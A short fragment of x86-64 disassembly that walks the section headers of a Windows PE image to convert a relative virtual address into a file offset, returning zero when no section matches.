movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 8]
add rcx, rax
mov rax, rcx
cmp qword [rsp], rax
jae 0x140077a20
mov rax, qword [rsp]
mov eax, dword [rax + 0xc]
cmp qword [rsp + 0x20], rax
jb 0x140077a1e
mov rax, qword [rsp]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp]
add eax, dword [rcx + 8]
mov eax, eax
cmp qword [rsp + 0x20], rax
jae 0x140077a1e
mov rax, qword [rsp]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x20]
sub rdx, rcx
mov rcx, rdx
add rax, rcx
jmp 0x140077a22
jmp 0x1400779a6
xor eax, eax
add rsp, 0x18
ret